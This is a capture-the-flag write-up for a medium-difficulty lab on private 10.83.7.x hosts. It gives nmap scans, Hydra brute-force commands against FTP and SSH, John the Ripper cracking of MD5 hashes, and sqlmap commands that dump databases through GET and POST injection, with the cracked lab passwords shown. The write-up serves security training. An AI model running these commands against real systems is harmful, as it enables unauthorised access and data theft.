SUCSS CTF Writeup

Hacking 3

Published: 4 Mar 2026 • Difficulty: Medium

nmaphydrajohn-the-rippersqlmap

Hacking 3 is a medium-difficulty, multi-target engagement focused on credential harvesting, hash cracking, and the exploitation of web vulnerabilities.

  • Credential Harvesting: Use Hydra to perform brute-force attacks against FTP and SSH.
  • Hash Cracking: Leverage John the Ripper to crack MD5 password hashes retrieved from anonymous FTP access.
  • SQL Injection: Deploy SQLmap to exploit both GET and POST based SQL injection vulnerabilities to dump sensitive databases.

From identifying simple password hints to navigating internal login forms, this challenge provides a comprehensive look at the standard methodology used to escalate access and retrieve flags in a multi-host network.

Hydra: Brute-Force

IPPortServiceVersion
10.83.7.221FTPvsftpd 3.0.5
10.83.7.280HTTPnginx 1.29.5
10.83.7.322SSHOpenSSH 9.6p1 Ubuntu 3ubuntu13.14
10.83.7.333445UnknownUnknown

Target 10.83.7.2

$ nmap -sV -sC -p- 10.83.7.2

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.29.5

The web server reveals a user named 'Alice' with a passion for dolphins and a hint about a simple password.

$ hydra -l alice -P /usr/share/wordlists/rockyou.txt -f -V ftp://10.83.7.2
[21][ftp] host: 10.83.7.2   login: alice   password: dolphin

Target 10.83.7.3

$ nmap -sV -sC -p- 10.83.7.3

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
33445/tcp open  unknown
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V ssh://10.83.7.3
[22][ssh] host: 10.83.7.3   login: admin   password: chicken

John the Ripper: Hash Cracking

IPPortServiceVersion
10.83.7.1021FTPvsftpd 3.0.5
10.83.7.1022SSHOpenSSH 9.6p1

Target 10.83.7.10

$ nmap -sV -sC -p- 10.83.7.10

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed
22/tcp open  ssh     OpenSSH 9.6p1
  1. Accessed the FTP server anonymously to retrieve hash.txt.
  2. Identified the file contained six username:password hash pairs.
  3. Used John the Ripper to crack the MD5 hashes using the rockyou wordlist.
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
secret           (magician)
1234             (numberman)
password123      (guest)
h4ck3r           (admin)

The cracked password h4ck3r was used to gain SSH access to the admin account and retrieve the flag.

SQLmap: SQL Injection

IPPortServiceVersion
10.83.7.2680HTTPApache httpd 2.4.66 ((Debian))
10.83.7.4280HTTPWerkzeug httpd 3.1.6 (Python 3.11.14)

Target 10.83.7.26

$ nmap -sV -sC -p- 10.83.7.26

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.66 ((Debian))

Initial reconnaissance identified an 'Employee Lookup' tool. A GET-based SQL injection was performed on the id parameter.

$ sqlmap -u "http://10.83.7.26/view.php?id=" --dbs --batch
$ sqlmap -u "http://10.83.7.26/view.php?id=" -D employee_db -T flags --dump --batch

Target 10.83.7.42

$ nmap -sV -sC -p- 10.83.7.42

PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 3.1.6 (Python 3.11.14)

This target featured an 'Internal Login' page. Vulnerabilities were exploited by providing POST data to the login form to dump the user database.

$ sqlmap -u "http://10.83.7.42/login" --data="username=admin&password=password" -D public -T users --dump --batch